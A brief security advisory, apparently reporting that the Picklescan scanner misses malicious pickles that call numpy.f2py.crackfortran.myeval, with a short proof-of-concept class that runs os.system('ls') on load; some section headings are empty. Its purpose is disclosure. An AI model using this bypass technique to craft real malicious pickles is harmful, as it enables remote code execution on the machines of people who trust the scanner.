Summary

Details

• First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.myeval function in its reduce method
• Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

class RCE:
  def  reduce (self):
    from numpy.f2py.crackfortran import myeval
    return (myeval, ("os.system('ls')",))

Impact

Report by